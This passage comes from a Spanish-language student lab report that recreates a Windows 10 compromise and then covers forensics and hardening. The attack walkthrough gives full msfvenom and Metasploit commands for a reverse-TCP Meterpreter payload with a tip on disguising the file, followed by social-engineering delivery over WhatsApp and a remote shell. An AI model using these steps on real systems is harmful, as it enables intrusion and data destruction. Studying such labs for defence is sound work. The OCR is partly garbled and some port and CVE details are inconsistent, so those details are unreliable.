linea de comandos en cada maquina y se verificara de manera visual como se
observara en las ilustraciones a continuacion.

llustracion 45 Identificacion IP maquina virtual Kali Linux

/home/unad

1TContlg
eth@: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
=Rl 192 . 168.1. 21# netmas ), 2 .® broadcast 192.168.1.255
inete fed0:: 37a:b7 2 prefixlen 64 scopeid 0=20<link>

ether B8:0 5: } taqUﬂUﬂlen lﬂﬂD (Ethernet)

R¥ packets 14999‘ bytes 1934 5 (184.4 MiB)

R¥ errors @ dropped 36 overruns O +14mﬂ @

TX packets 15942 bytes 1445608 (1.3 MiB)

T4 errors @ dropped @ overruns @ carrier @ collisions @

Fuente: Elaboracion propia

llustracion 46 Identificacion IP maquina virtual Windows
Ethernet adapter Ethernet:

Connection-spe
IPvwd Addre
Subnet M:
Default 5 :11' IERY

|_'|.
[4]]
20
|_|.
|_'|.
ol

L
[0

L
[N Qs
% |

= kJ
(4 Ey]
Ed

= kJ

CihUsersi\wWinl8-HackerHouse

Fuente: Elaboracion propia
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De acuerdo con la informacion suministrada por el usuario victima que estaba
utilizando la maquina virtual con Windows 10 a 64 bits esta se encontraba sin
ninguna defensa de seguridad activada, por lo cual se procede a apagar todo el
sistema de seguridad de Windows como se puede observar en la ilustracion 47 a
continuacion.

llustracion 47 confirmacion desactivacion seguridad maquina virtual con
Windows 10 a 64 bits

o.. Virus & threat protection
el

settings
— Automatic sample submission
View and update Virus & threat protection settings for )
Microsoft Defender Antivirus.

A Automatic sample submission is off. Your

Real-time protection ’
device may be vulnerable.

malware from installing or running on

vice. Y irn off this setting for a short time
2 ; ‘ (: ) Off
re it turns back on automatically
Real-time protection is off, leaving your device Submit a sample manually
vulnerable.
@D off

Tamper Protection

others from tampering with important security

Cloud-delivered protection
p Tamper protection is off. Your device may be Dismis

vulnerable.

@ o

Cloud-delivered protection is off. Your
device may be vulnerable.

@ o

Fuente: Elaboracion propia

Finalmente, para esta primera parte y no menos importante, en el informe brindado
se indica que el usuario tenia en el escritorio de su maquina un archivo llamado
carlos_tellez_ayala 1032412170 01092023 etapa3.txt el cual desaparecio. Por
consiguiente, se crea dentro de la maquina virtual con Windows 10 a 64 bits un
archivo con dicho nombre y se evidencia en la ilustracion 48.

llustracién 48 Creacion archivo de texto en escritorio

« B s This PC » Desktop

MHame

33
=] carlos_tellez_ayala_1032412170_ 01092023 _etapa3.tet

Fuente: Elaboracion propia
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7.2 SIMULACION VULNERACION DE SEGURIDAD (HACKEO)
Cabe recordar que para este proceso se sugiere tener en cuenta los pasos de un
Pentesting y si bien existen diversas opiniones acerca de estos pasos se seguiran
los suministrados en la tabla 7 a continuacion.

TABLA 7 PASOS DEL PENTESTING

Paso 1 Paso 2 Paso 3 Paso 4
Reconocimiento Escaneo Obtencion de Mantener el
acceso acceso

Ejecutar ataque

Fuente: Elaboracion propia
RECONOCIMIENTO Y ESCANEO

De acuerdo al anexo 4 el atacante se encontraba en el mismo segmento de red de
la victima esto le permitia realizar un reconocimiento relativamente facil en el cual
mediante él envio de un ping hacia el nombre del equipo de la victima pudo obtener
la direccién IP. En este caso siendo un laboratorio controlado se conoce que la IP
de la méquina virtual que simula ser la victima es 192.168.1.113 por lo cual se
procede a realizar un escaneo de esta la direccion IP utilizando la herramienta
NMAP como se puede observar en la ilustracion 49.

llustracion 49 Escaneo de puertos maquina de la victima

/home/unad
) 192.168.1.113
3-09-06 14:58 EDT

Not shown: 995
STATE S
open
open
open
open
cp open
Address: 08:¢ CB:50:37 (Oracle VirtualBox wirtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Fuente: Elaboracion propia

En la anterior imagen es posible observar un listado con la respuesta de los puertos
gue se encuentran abiertos en la direccion IP de la maquina de la victima, por lo
cual se entra a indagar sobre cada uno de ellos y se describen en la tabla 8.
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TABLA 8 PUERTOS ESCANEADOS MAQUINA VICTIMA

Puerto Estado Servicio Descripcion Vulnerabilidad
CVE asociada al
puerto

135/tcp®®  Abierto msrpc Permite la ejecucion CVE-2020-7589
remota de cddigo entre

equipos usualmente
Windows.
139/tcp®®  Abierto netbios- Es un servicio orientado CVE-2002-2138
ssn a impresoras y CVE-2002-1217
documentos
compartidos en

Windows. Uso conocido
para NetBIOS
445/tcp3*  Abierto microsoft- Principalmente usado CVE-2021-44548
ds por el Directorio activo
de Windows AD y para
servicio de mensajeria
por bloques SMB .Uso
conocido para NetBIOS
3389/tcp® Abierto ms-wbt-  Puerto nativo para el CVE-2019-0708

server servicio de conexion de
escritorio remoto de
Windows.
5357/tcp3® Abierto wsdapi Permite el CVE-2009-2512

descubrimiento de red
de equipos conectados
en la misma red.

32 RCP UDP. Port 135. TCP UPD PORTS [www.tcp-udp-ports.com]. (05, mayo, 2023). [Consultado el 01,
septiembre, 2023]. Disponible en: <https://tcp-udp-ports.com/port-135.htm>

33 SPEED Guide. Port 139 Details. Speed Guide [www.speedguide.net]. [Consultado el 01, septiembre. 2023].
Disponible en internet: <https://www.speedguide.net/port.php?port=139>

34 KELLEY, Diana. How to defend against TCP port 445 and other SMB exploits. Tech Target
[www.techtarget.com]. (abril, 2023). [Consultado 01, septiembre. 2023]. Disponible en:
<https://www.techtarget.com/searchsecurity/answer/Detecting-and-defending-against-TCP-port-445-
attacks#:~:text=Today%2C%20port%20445%20is%20used,)%20protocol%200ver%20TCP%2FIP>

35 CIS. Security. primer Remote Desktop Protocol. Center for Internet Security [www.cisecurity.org].
[Consultado el 01, septiembre, 2023]. Disponible en internet: <https://www.cisecurity.org/insights/white-
papers/security-primer-remote-desktop-
protocol#:~:text=Remote%20Desktop%20Protocol%20(RDP)%20is,user%200ver%20an%20encrypted%20ch
annel>

36 SPEED Guide. Port 5357 Details. Speed Guide [www.speedguide.net]. [Consultado el 01, septiembre. 2023].
Disponible en internet: < https://www.speedguide.net/port.php?port=5357 >
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Fuente: Elaboracion propia

En este momento del proceso ya es posible deducir que el sistema operativo
instalado es Windows 10 debido a que los puertos abiertos y los servicios mostrados
en el resultado del escaneo realizado con nmap en la ilustracion 5 son servicios
usualmente ejecutados desde maquinas bajo sistema operativo Windows, aunque
para tener un dato exacto del sistema operativo y versiéon del equipo victima se
podria utilizar el comando nmap -0 ejecutado de la siguiente manera.

e nmap -0 192.168.1.113  (ejecutar en modo administrador)

Luego de ejecutarlo la respuesta trae consigo el nombre del sistema operativo
exacto que se encuentra ejecutandose en la maquina de la victima.

llustracion 50 Identificacidén sistema operativo victima

/home/funad

ap.org ) at 2023-09-08 21:23 EDT
1.113

VirtualBox virtuwal NIC)

0S CPE: cpe:/o:microsoft:windows_10
0S5 details: Microsoft Windows 1@ 1709 - 1909

0S detection per ed. Please re incorrec s at https://nmap.org/submit/ .
Nmap done: 1 IP : e in 2.6

/home/unad

Fuente: Elaboracion propia
OBTENCION DE ACCESO

De acuerdo con el anexo 4 uno de los especialistas sugiere que este puede ser un
caso en donde ha sido utilizada una carga util creada con MSFVENOM?' y
posteriormente explotada con la ayuda de METAESPLOIT=. Por esto se procede a
recrear la creacion de dicha carga util desde la maquina con sistema operativo Kali
Linux.

37 OFFSec. MSFVENOM. Using the MSFvenom command Line Interface. OFFSec [www.offsec.com].
[Consultado 03, septiembre. 2023]. Disponible en internet: <https://www.offsec.com/metasploit-
unleashed/msfvenom/>

38 OFFSec Services. Metasploit-Framework [www.kali.org]. (17, agosto, 2023). [Consultado el 03, septiembre.
2023]. Disponible en internet: <https://www.kali.org/tools/metasploit-framework/>
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Como primer paso se debe abrir una nueva ventana de terminal y mediante
comandos se procedera a ubicarse en el directorio escritorio como se observa en la
ilustracion 6.

e Se utiliza el comando cd Desktop para ubicarse en el escritorio.

llustracién 51 Inicio terminal kali linux

/home/unad
Desktop

fhome/unad/Desktop

Fuente: Elaboracién propia

Por defecto el sistema operativo Kali Linux trae precargado todo repositorio de
METAESPLOIT, por lo cual se inicia enviando los comandos de obtencion del
listado de actualizaciones disponibles y posteriormente el de descarga y
actualizacion de estos.

e sudo apt update
e sudo apt upgrade

CREACION DE CARGA UTIL
Como ya se habia comentado se utilizarhA MSFVENOM para crear el archivo de
carga util, en la ilustracion 52 es posible observar el comando completo el cual se

procedera a explicar a continuacion.

llustracion 52 Creacién carga util

/home/unad/Desktop
o windows/x64/meterpreter/reverse_tcp slatform windows -a x64 LHOST=192.168.1.214 LPORT=445

Fuente: Elaboracion propia
Descripcion de la linea de comandos

e msfvenom: hace el llamado a la herramienta que va a crear la carga Util.
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e -p: sefala que se va a utilizar la carga util que se describe en seguida
(Payload)

e windows/x64/meterpreter/reverse_tcp: eslalinea de comando para llamar
a la carga util que permitira hacer la conexion en reversa desde el equipo
victima hacia el equipo atacante.

e --platform: indica que plataforma sera la atacada en este caso se especifica
gue es windows.

e windows: sistema operativo a atacar.

e -a x64: especifica la arquitectura del equipo victima.

e LHOST: Indica la direccion IP del atacante a la cual la carga util debera
conectarse una vez sea ejecutada en el equipo de la victima.

e LPORT: Indica el puerto por el cual se conectara para este caso sera el 445,
en este momento se logra comprender la importancia de realizar un escaneo
previo para saber los puertos que estaran disponibles para usar.

o -f exe: especifica el formato de salida del archivo a enviar, en este caso se
ha seleccionado .exe aunque también podrian utilizarse otros formatos
menos comunes como .raw el cual seria ideal si la victima trabaja con
fotografia ya que lo confundiria con una foto en alto formato.

e >>PoC _1032412170.exe: Indicara el nombre de salida anteponiendo la ruta
del ismo antes del nombre asignado, aunque para efectos practicos se
ejecutara sin ruta y sera creado en el area de trabajo actual de termina la
cual es escritorio.

Una vez ejecutada la linea de comandos de manera correcta se podra observar en
el escritorio de la maquina virtual con Kali Linux un archivo como se muestra en la
siguiente ilustracion.

llustracién 53 Confirmacion creacién carga util

PoC_1032412
170.exe

Fuente: Elaboracion propia

Antes de enviar el archivo a la victima es ideal ingresar a msfconsole y activar el
modo escucha desde la maquina atacante. Para esto se debera iniciar desde la
terminal mediante el comando msfconsole el cual dara una imagen de bienvenida
como la que se observa en la ilustracién 54.
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llustracion 54 Inicio msfconsole

~/Desktop

Fuente: Elaboracion propia

Ahora se procedera a ingresar los siguientes comandos para inicializar la consola
de control.

e Use exploit /multi/handler: Indica el exploit a utilizar.

e Set payload Windows/x64/meterpreter/reverse_tcp: Indica el tipo de carga
util enviada a la victima y que se activara.

e Set LHOST 192.168.1.214: Indica la IP por la cual se escuchara.

e Set LPORT 443: Indica el puerto por el cual se escuchara.

e Exploit: Iniciara el exploit y la escucha completa en la red.

En la ilustracion 55 es posible observar la ejecucion de los comandos y el inicio de
escucha.

llustracion 55 Inicio de escucha

) > set LPORT 445

«ploit

e TCP handler on 192.168.1.214:445
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Fuente: Elaboracion propia
Como siguiente paso para finalizar la parte de obtencion de acceso se realizara la
simulacién de envio del archivo mediante la plataforma de mensajeria WhatsApp en
su version WEB desde la maquina con sistema operativo Kali Linux hasta la
maguina con sistema operativo Windows.

llustracién 56 Envio carga util

Fuente: Elaboracion propia

Ahora se procedera a descargar el archivo en la maquina de la victima y a
ejecutarlo.

llustracion 57 Descarga archivo en equipo victima

) WhatsApp

PoC_1032412170.exe

.32 PM

e d i

Download completed

Saved to ChlUsers\Win10-HackerHouse\Downloads

Show in folder Open
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Fuente: Elaboracion propia
Luego de que el usuario victima descarga el archivo y lo ejecuta este no vera nada
y aunque intente abrir nuevamente el archivo no le sera posible ver lo que esta
esperando, aunque en segundo plano este archivo se empieza a ejecutar y como
resultado se obtiene un inicio de escucha desde el equipo con sistema operativo
Kali Linux como se puede observar en la ilustracion 58.

llustraciéon 58 Confirmacién inicio escucha

handler on
74 b )

6:50 -0400

meterpreter >

Fuente: Elaboracion propia

A este momento se confirma la conexidn del equipo remoto con el equipo fisico y
es posible pasar al ultimo paso de las etapas de Pentesting.

MANTENER EL ACCESO Y EJECUTAR ATAQUE

El tener una conexién directa quiere decir que es posible explotar al maximo
METAESPLOIT y ejecutar diversos comandos los cuales seran remotos para la
maquina victima, en este caso Unicamente es necesario borrar un archivo asi que
se utilizara el comando shell para activar el CMD remoto obteniendo como resultado
la ilustracion 59.

llustracion 59 Obtencion remota de control por cmd

8 ackerHouse>|

Fuente: Elaboracion propia

59



El anexo 4 informa que el usuario perdié un archivo que tenia en su escritorio con
el nombre carlos_tellez_ayala 1032412170 01092023 etapa3.txt por lo cual es
necesario desde la linea de comandos abrir la carpeta de escritorio y posteriormente
borrar el archivo utilizando comandos basicos de CDM.

e dir: Muestra el contenido del directorio actual.
e cd: Permite abrir un directorio.
e del: borra un archivo.

llustracion 60 Borrado archivo remoto

rHouse\D:

Fuente: Elaboracion propia

Finalmente se puede concluir que en efecto como lo indicaba el especialista de
HackerHouse el ataque fue realizado mediante METAESPLOIT y todo fue causado
por el archivo que indicaba el trabajador otro compafiero de trabajo le compartié via
WhatsApp web.

8. IMPORTANCIA DE LA INFORMACION SUMINISTRADA EN EL ANEXO 4
Los elementos mas importantes suministrados por el reporte fueron:

e Testimonio del usuario final: Es importante y en lo posible poder hablar
con quien ha sufrido dicho atague en busqueda de los ultimos
comportamientos y acciones realizados dentro de la maquina, sin lugar a
duda conocer el escenario de trabajo y las actividades realizadas en el mismo
permite tener una vision amplia de lo que pudo haber sucedido durante el
ataque, en caso de no contar con un testimonio se debera recurrir a
herramientas de informética forense para verificar el paso a paso de las
actividades realizadas en el sistema operativo.
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e Sugerencia proporcionada por especialista: Es importante recalcar que
desde un inicio el especialista indica que el ataque pudo haber sido realizado
usando METAESPLOID lo cual dio lugar a realizar el laboratorio y comprobar
gue esto era totalmente cierto.

e Caracteristicas equipo victima: Se mencionaba que el equipo tenia como
sistema base Windows 10 64 bits y que sus escudos de seguridad se
encontraban desactivados.

9. DESCRIPCION DE LAS HERRAMIENTAS

Fue utilizada la herramienta nmap para realizar un escaneo de puertos de la
direccién IP de la victima y conocer su sistema operativo.

9.1 PUERTO QUE PERMITIO REALIZAR EL PROCESO

Fue utilizado el puerto 445 el cual posee reportes en internet que lo caracterizan
como un puerto vulnerable, incluso una de esas vulneraciones es la CVE-2021-
44548 que permite al atacante tomar control remoto mediante linea de comandos.

10.GRAFICA DEL ATAQUE

En la siguiente ilustracion es posible observar el proceso llevado a cabo para
realizar el ataque desde la maquina Kali Linux hacia la maquina virtual con sistema
operativo Windows 10 teniendo en cuenta las etapas de Pentesting que en este
caso fueron: reconocimiento, escaneo, obtencion de acceso, mantener acceso y
ataque.
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llustracién 61 Descripcién ataque

—
=

5.
AAas
ARouteriih
/ \
/ \
/ N\
/ \
/ N\
/ \\ 1P 192.168.1.113
IP 192.168.214/24 /7 \ PUERTOS ABIERTOS
135, 139, 445, 3389, 5357
E N\
- =

_Kall “F;'étb/r' = 2 V\&ndows 10
Linux ATACANTE VICTIMA 2

Escaneo de puertos con nmap

Informe de puertos abiertos
<

(mfsvenom) Creacidn carga util PoC1032412170.exe

Comunicacién VIA WhatsApp web
Inicio de modo escucha desde
msfconsole

Envio archivo PoC1032412170.exe

Apertura archivo
Inicio comunicacion via puerto 445

Activacién SHELL (CMD Remoto)
Ejscuian ataque Borrado remoto

Fuente: Elaboracion propia

v

El ataque aprovecho varias vulnerabilidades presentes en el equipo de la victima
las cuales se muestra a continuacion.

Todos los sistemas de seguridad de Windows se encontraban apagados.
El puerto 445 estaba abierto.

No poseia ningun software antivirus adicional.

Utilizaba WhatsApp Web por medio de aplicaciéon nativa.

Dicho lo anterior el conjunto de todos los errores de seguridad unidos permitieron
gue fuera bastante facil enviar el archivo con la carga util y que esta fuera ejecutada
por la victima dando paso a un control total por parte del atacante el cual logro su
cometido final de borrar el archivo
carlos_tellez_ayala 1032412170 01092023 etapa3.txt presente en el escritorio de
la victima.
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11.PROCESO DE HARDENIZACION

Los elementos y pasos descritos a continuacion pretender orientar el conocimiento
de la Ciberseguridad aplicada a entornos reales con ayuda de procesos basados
en experienciay marcos estandarizados que ayudan en este caso puntual a mejorar
niveles de seguridad de entornos expuestos a Ciberataques.

12.REACCION ANTE CIBERATAQUE

Existen diferentes marcos de seguridad, pero en este caso puntual se utilizara el
Framework NIST en el cual se aconseja seguir paso a paso las siguientes fases.

12.1 IDENTIFICACION

IMPORTANTE: Antes de realizar cualquier proceso con un equipo _posiblemente
comprometido (infectado) lo primero que se debe realizar es aislarlo de la red para
evitar que la infeccion pueda propagarse por la red mientras se realiza el proceso
de andlisis e identificacién de la amenaza.

Se inicia realizando una identificacion del elemento que posiblemente se encuentra
infectado y lograr identificar sintomas como®®:

Uso de procesador en altos porcentajes sin razon aparente.

Lentitud en la carga normal del sistema operativo y o aplicativos.

Borrado involuntario de documentos.

Corrupcién o modificacion de documentos.

Elementos de inicio automatico cargados al equipo diferentes a los usuales.
Alto uso de ancho de banda ajeno a procesos de actualizaciones de sistema
operativo, software instalado o sistemas antivirus.

Apagados o reinicios repentinos del sistema operativo.

Movimiento involuntario del cursor.

Suplantacion del usuario en correos electronicos.

Activacion del led de la camara web.

Los anteriores son solo algunos de los elementos que permiten identificar un equipo
de cémputo comprometido a nivel de seguridad, existen otras variables que
dependeréan de la cantidad de permisos que posea el usuario, el entorno de trabajo,
el sistema operativo y demas, Aunque es importante mencionar y recalcar que los
ataques Cibernéticos no son Unicamente contra equipos de computacién con

39 AVAST. ¢Qué es un virus informatico y como funciona?. Avast Academy [www.avast.com]. (2023).
[Consultado el 30, Agosto, 2023]. Disponible en: < https://www.avast.com/es-es/c-computer-virus>
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sistema operativo, también lo son a elementos 10T, industriales*®, de telemetria,
seguridad fisica, control de acceso entre otros. Por lo cual es necesario dar un
tratamiento diferente a cada escenario.

Finalmente, es importante documentar todo este proceso inicial indicando datos
importantes como el profesional encargado y la hora de ejecucién del posible ataque
ya que este Ultimo dato sera vital si en fases posteriores se descubre que el virus
llevaba varios dias en el equipo lo cual posibilita se encuentre en otros dispositivos
de lared.

12.2 PROTECCION
Verificacion escudos de proteccion

Durante esta fase es de vital importancia iniciar un proceso de verificacion de
sistema antivirus y firewall dentro del equipo ya que es posible que estos se
encuentren apagados o se les halla agregado reglas que permitan la ejecuciéon de
archivos contaminados, posterior a esta verificacion y activacién de escudos se
deberé realizar un escaneo completo de los discos duros y memorias USB que el
usuario pudiera utilizar durante sus actividades laborales. Finalmente, no se deben
dejar por fuera las particiones EFI que cargan el sistema operativo ya que estas en
algunos casos también pueden llegar a estar infectadas.

Verificacidon aplicativos de inicio

Algunas infecciones tienen la posibilidad de anexarse al inicio de Windows, por lo
cual es importante verificar si existe alguna nueva tarea programada o de inicio
automatico ya que en algunos casos estas herramientas no son detectadas por el
antivirus y posteriormente en el siguiente reinicio de la maquina logran descargar y
ejecutar aplicativos que se ejecutaran contaminando el equipo incluso con
Ransomware.

12.3 DETECCION

Un elemento para remediar a futuro posibles atagues es la implementacion de
sistemas de deteccién de intrusos como por ejemplo lo es Wazuh el cual permitira
tener un monitoreo completo del equipo, guardando registros de su actividad
completa y trafico de red para detectar actividades andmalas que puedan ser signos
de contagio.

40 BUCHANAN, Scott. CYBER-ATTACKS TO INDUSTRIAL CONTROL SYSTEMS SINCE STUXNET: A SYSTEMATIC
REVIEW. [En linea]. Articulo cientifico. Washington DC, USA. Capitol Technology University, 2022 [consultado
el 4 , septiembre, 2023]. pp. 19-50. Disponible en internet: <
https://media.proquest.com/media/hms/PFT/2/2130M?_s=DTsfaKIWmfpOX3gYX0ellsAhzME%3D>
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12.4 RESPUESTA

Sien los casos anteriores fue posible encontrar el archivo infectado es ideal realizar
un analisis forense del equipo para confirmar en tiempos el ingreso del archivo a la
red, el tiempo de ejecucion y sus posibles alcances.

12.5 RECUPERACION

Una vez superado el incidente es necesario realizar una evaluacion de las politicas
de seguridad presentes en la empresa y modificarlas de manera que sea menos
probable volver a vivir un incidente similar en el cual el atacante pueda utilizar las
mismas vulnerabilidades del ataque actual.

Es importante comprender la importancia de documentar todos y cada uno de los
procesos ya que a futuro permitiran realizar autoevaluaciones, podran ser tomados
para mejorar protocolos de seguridad y evitar que vuelva a suceder el mismo
incidente.

13 SUBSANANDO EL CIBERATAQUE HARDENIZACION

13.1 ASEGURAR EL EQUIPO Y LA RED

Inicialmente el primer paso como se comentd anteriormente fue la desconexion del
equipo de la red ya que este pudiera estar siendo victima de un ataque con un
gusano u otro tipo de virus que pudiera propagarse por la red y contaminar otros
equipos.

13.2 TOMAR REPORTE Y VERIFICACION

Es importante recalcar el tomar el reporte del usuario para de esta manera tener un
control y mejor la trazabilidad sobre las acciones a tomar. En el caso puntual el
problema fue causado por un archivo llamado PoC_1032412170.exe el cual se
informa ingreso por medio de WhatsApp. Dicha informacion es comprobada en un
andlisis forense realizado con la herramienta Autopsy 4' del cual se obtienen las
siguientes imagenes.

En la ilustracién 62 se confirma que el archivo fue descargado desde internet,
descartando la posibilidad de que el usuario final este mintiendo y este hubiese sido
ingresado haciendo uso de medios externos como memorias usb, dvd entre otros.

41 BASICTech. Autopsy. Autopsy Digital Forensics [www.autopsy.com]. (2023). [Consultado el 4, septiembre,
2023]. Disponible en internet: <https://www.autopsy.com/about/>
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llustracion 62 Confirmacion fuente de descarga archivo PoC_1032412170.exe

— 0
Add Data Source. B Imagestindeos g Communica tions Q Gealocation g, Timeline 4}, Discovery Genenste Report g Clase Case = @  Keyword Lists Q Keyword Search
Jirectory Tree — | Listing -
& u Web Downloads 6 Results
Table Thumbnail
& Data Sources
= File Views Save Table 35 C2V

SeurceMame S € O Path URL Date Aecessed 14

History 1 Jsers\
(8 | ce
.

Data Content

Hex Text Agplication Source file Metadata 05 Account Dsta Atifacts Annctations Other Occurrences
(U]
Table meta v dentries Page 1 of 1 [N Exportta C5Y
% Run Programs (E204)
P
© Shell Bags (20} key value 4

Ed USB Device Attached (2)
unts

Web Downloads (6)
[E Web Form Autofill (1)
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& Web Search (13)
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|- Encryption Suspected (3)
i EXIF Metadata (3)

Fuente: Elaboracion propia
Continuando con el analisis forense la llustracion 62 permite confirmar la ejecucion
del archivo descargado con el nombre PoC_1032412170.exe con lo cual se
confirma que el relato del usuario es verdadero.

llustracién 63 Confirmacién ejecucion archivo PoC_1032412170.exe

M HackerHouse 001 - Sutopsy 4.21.0 - g x
Case View Tools Windaw Help
Add Data Sou Images/\ideos [ C i Qe I S Timeline 44 D & R Close € =
s Source B Imsgespideos [ Communications eolocation g, Timeline {, Discovery enerate Report | g Close Case @ - Keyword Lists Qr Keyword Search
Directory Tree — | Listing -
P {3 |RunPrograms 8290 Results
Table Thumbnail
# @ DataSources it
= ® FileViews Save Table a3 CV
SoureeMame  § € O Drogram Name Username = DatefTime Bytes Semt By 1%
4 SRUDB.dat W ir W ; "
% SRUDB.dat rogrambData\Micros ot Wind ferderPlath MshpEng. ex Local
% SRUDB.dat Local
Local

S % SRUDB.dat
ed Programs (32) 4 SRUDB.dat sers\Win10-HackerHouse\Downloads\PaC_1032412170.exe Win10-HackerHouse =
Metadata (5) J SRUDB.dat Winkdows' WinSS\amd fr s-servicingstack adible n I System
ating System Information (1)
& uments (25)
5 Run Programs (3284 Moo toeen | N
% Shell Bags (20) — -
[ USBDevice Attached (2) Hex Text Source File Metadata | 0% Account] Data Avtifacts Annotations Other Occurrences
=]
4 Web Accounts (1) Basic Properties
Web Bookmarks (1} Login: LOCAL SERVICE
& Web Caoties (103) Full Mame:  Local Service Account
3 Web Downloacs 1 Address: $1.519
E| Web Form Autofill (1) .
T Web History (68) ype
& Wbty Creation Date:
C, Anatysis Results ObjectiDi 3867
Eneryption Suspected (3)
data () HeakerHouse Details
Harme Directory: {ServiceProfiles/LocalSewvice
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@ Web Categories {3} Harne: NTALTHORTY

Fuente: Elaboracion propia

Este paso inicial de toma de reporte y verificacion es importante ya que permitira
realizar una reconstruccion rapida de los hechos y determinar si el operario pudiera
estar implicado de manera directa y voluntaria con el incidente o no, asi como
identificar el lugar de donde vino o fue descargado el archivo infectado.
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13.3 VERIFICAR SISTEMAS DE DEFENSA E INSTALAR ANTIVIRUS NUEVO

El sistema de defensa actual que estd compuesto por Microsoft Defender y Firewall
de Windows* los cuales se encuentran totalmente apagados, por lo cual la primera
opcion es encenderlo en su totalidad, pero no sera la respuesta definitiva al
incidente ya que es posible utilizar soluciones empresariales mas robustas. En este
caso puntual se procede a realizar la instalacion del sistema antivirus Kaspersky
Small Office*® el cual siempre se ha encontrado en los primeros puestos de los
rankings mundiales destacandose por su efectividad ante nuevas amenazas.

El primer paso para realizar esta instalacion es la descarga del instalador desde el
sitio web my.kaspersky.com en donde se debera realizar la compra del producto,
para este caso puntual ya se ha realizado la adquisicion de la licencia Small Office
Security**. Esta version brindara proteccién mediante antivirus, firewall, proteccién
de navegacion y en especial proteccion ante Ransomware y errores humanos.

llustracién 64 Inicio de descarga Instalador Kaspersky Small Office Security

% |¢ Descarga de versién de prueba g X | == - i

iy kaspersky.comMylicensest/pe 52-8352-106dd284F1 58-B41 B A m = & & 8 &
lkaspersky @ Espafiol(Américalatina) £ Seporte (&)

_
Suscripeiones Dispositivos Desca gas Tienda o~ Contrasefias & Nifios & VPN Opan i

My Kaspersky

¢ Todac las suscripciones

"L/';J" Kaspersky Small Office Security

(S
Suscripeidn: Activa
Fecha de caducidad: 11/08/2024

Fuente: Elaboracion propia

Dentro del proceso de instalacion se ofrecen elementos adicionales como la
posibilidad de tener un servicio de VPN*® y un administrador seguro de contrasenias,

42 MICROSOFT. Seguridad de Windows que nunca se detiene, Microsoft [www.microsoft.com]. (2023).
[Consultado el 4, septiembre, 2023]. Disponible en internet: <https://www.microsoft.com/es-
co/windows/comprehensive-security >

43 MOES, Tibor. The 5 Best Antivirus 2023 Comparison of September. [www.softwarelab.org]. (2023).
[Consultado el 4, septiembre. 2023]. Disponible en internet: <https://softwarelab.org/best-antivirus-
software/>

44 AO KASPERSKY LAB. Kasperky Small Office Security. Kasperky [www.usa.kaspersky.com]. (2023).
[Consultado el 4, septiembre, 2023]. Disponible en internet: <https://usa.kaspersky.com/small-business-
security/small-office-security >

4> AO KASPERSKY LAB. What is VPN? How It Works, Types of VPN. Kasperky [www.kaspersky.com]. (2023).
[Consultado el 4, septiembre, 2023]. Disponible en internet: < https://www.kaspersky.com/resource-
center/definitions/what-is-a-vpn#>
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de acuerdo con el andlisis realizado anteriormente se podria sospechar que
mediante el PayLoad el atacante hubiera podido copiar archivos y enviarlos a
cualquier destino si esto hubiese sucedido podria haber extraido datos del
navegador de internet y posteriormente extraer contrasefias, es por esto que se
considera importante instalar estos complementos.

llustracién 65 Inicio instalador Kaspersky Small Office

lkaspersky

Dele la bienvenida a
Kaspersky
Small Office Security!

Aproveche al maximo la licencia

ky VPN para garantizar la privacidad de la
a

Fuente: Elaboracion propia

Luego de realizarse el proceso de instalaciéon de manera satisfactoria se debera
iniciar un escaneo completo de los discos duros del computador y medios extraibles
en busca de elementos contaminados existentes, en la ilustracion 66 se muestra el
inicio del proceso.

llustraciéon 66 Primer analisis completo

DA v

Fuente: Elaboracion propia
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Es importante realizar un escaneo completo periddicamente de todo el equipo,
agencias como Kaspersky recomiendan realizar un analisis semanal completo para
buscar posibles infecciones profundas que se encuentren escondidas dentro del
sistema de archivos del equipo o incluso en el mismo sistema operativo*. Cabe
aclarar que dicho escaneo se debe realizar teniendo totalmente actualizado el
antivirus de lo contrario podria encontrarse expuesto a amenazas recientes que no
serian detectadas.

En la ilustracion 67 es posible observar el primer hallazgo como resultado del
escaneo completo, este hace referencia al archivo PoC_1032412170.exe que fue
descargado via WhatsApp. Preliminarmente esta infeccidén es aislada y puesta en
cuarentena para que no pueda propagarse (si fuese el caso de un gusano)

llustracién 67 Reporte inicial Antivirus Kaspersky

€ Kaspersky Small Office Security

\L;__l Objeto eliminado

M

‘ TH= = L o 4
Fuente: Elaboracion propia

En una descripcion a fondo del hallazgo encontrado se pueden observar en la
ilustracion 7 datos de la ubicacion nombre del archivo y tipo, para este caso puntual
es importante ver que es un archivo de tipo troyano con nombre
Trojan.Win64.Shelma.b el cual de acuerdo con el sitio web Kaspersky fue
descubierto el 25 de Abril de 2018%’. Adicional a esto y de acuerdo con el sitio web
Cibersecurity & Infraestructure Security Agency este archivo contiene la carga util
Meterpreter que permite controlar remotamente la maquina y acceder a sus
recursos locales y de red a los que se encuentre conectada®®.

4 AO KASPERSKY LAB. How to Run a Virus Scan the right way: Step-by-Step Guide. Kasperky
[www.usa.kaspersky.com]. (2023). [Consultado el 4, septiembre, 2023]. Disponible en internet: <
https://usa.kaspersky.com/resource-center/preemptive-safety/how-to-run-a-virus-scan>

47 AO KASPERSKY LAB. EXPLOIT.WIN64.SHELMA. Kasperky. [www.usa.kaspersky.com]. (2023). [Consultado el
4, septiembre, 2023]. Disponible en internet:
<https://threats.kaspersky.com/mx/threat/Trojan.Win64.Shelma/>

48 CISA. Malware Analysis Report. CISA [www.cisa.com]. (07, septiembre, 2023). [Consultado el 4, septiembre.
2023]. Disponible en: <https://www.cisa.gov/sites/default/files/2023-09/MAR-
10430311.c1.v1.CLEAR_.pdf?trk=public_post_comment-text>
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llustracion 68 Descripcion del hallazgo

[\ Hoy, 9/19/2023 3:33:22 PM Objeto eliminado

Evento: Objeto eliminado

Usuario: DESKTOP-SHP2H83\Win10-HackerHouse

Tipo de usuario: Iniciador

Nombre de la aplicacion: explorer.exe

Ruta de la aplicacién: C:\Windows

Componente: File Anti-Virus

Descripci6n del resultado: Eliminados

Tipo: Troyano

Nombre: Trojan.Win64.Shelma.b

Precisién: Exacta

Nivel de amenaza: Alta

Tipo de objeto: Archivo

Nombre del objeto: PoC_1032412170.exe

Ruta del objeto: C:\Users\Win10-HackerHouse\Downloads
MD5 de un objeto: 457C34763E43B9DB37A375AEA3948256

Fuente: Elaboracion propia

Una vez terminado el andlisis se procede a borrar los elementos de la cuarentena
como aparece en la ilustracion 69. Cabe mencionar un hallazgo importante y es que
